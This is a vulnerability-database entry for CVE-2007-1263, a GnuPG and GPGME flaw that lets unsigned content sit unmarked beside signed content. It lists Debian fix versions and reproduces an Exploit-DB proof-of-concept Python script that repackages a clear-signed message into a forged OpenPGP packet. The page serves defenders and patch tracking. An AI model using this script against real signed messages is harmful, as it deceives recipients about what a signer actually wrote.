CVE-2007-1263
Description
GnuPG 1.4.6 and earlier and GPGME before 1.1.4, when run from the command line, does not visually distinguish signed and unsigned portions of OpenPGP messages with multiple components, which might allow remote attackers to forge the contents of a message without detection.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
GnuPG 1.x - Signed Message Arbitrary Content Injection
source: https://www.securityfocus.com/bid/22757/info
GnuPG is prone to a weakness that may allow an attacker to add arbitrary content into a message without the end user knowing.
An attacker may be able to exploit this issue in applications using GnuPG to add arbitrary content into a signed and/or encrypted message.
Exploiting this issue depends on the individual application's use of GnuPG. Individual records will be created detailing this issue in affected applications.
#!/usr/bin/python
import os, gpg, sys, base64
clear_sign = open(sys.argv[1], "rb").read().splitlines()
start = clear_sign.index("-----BEGIN PGP SIGNED MESSAGE-----")
mid = clear_sign.index("-----BEGIN PGP SIGNATURE-----")
end = clear_sign.index("-----END PGP SIGNATURE-----")
text = '\r\n'.join(clear_sign[start+3:mid])
sign = '\n'.join(clear_sign[mid+3:end-1])
onepass = gpg.OnePassSignature()
onepass['keyid'] = (0x12341234,0x12341234)
onepass['digest_algo'] = 2
onepass['pubkey_algo'] = 1
onepass['sigclass'] = 1
plain1 = gpg.Plaintext()
plain1['name'] = 'original'
plain1['data'] = text
plain1['mode'] = 0x62
signature = gpg.Raw()
signature['data'] = base64.decodestring(sign)
compressed = gpg.Compressed()
compressed['algorithm'] = gpg.COMPRESS_ALGO_ZLIB
compressed['data'] = [onepass, plain1, signature]
pkt = gpg.Packet()
pkt['version'] = 1
pkt['data'] = compressed
os.write(1,str(pkt))
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 2.0.3-1 |
| sid | Fixed | 2.0.3-1 |
| forky | Fixed | 2.0.3-1 |
| bullseye | Fixed | 2.0.3-1 |
| bookworm | Fixed | 2.0.3-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.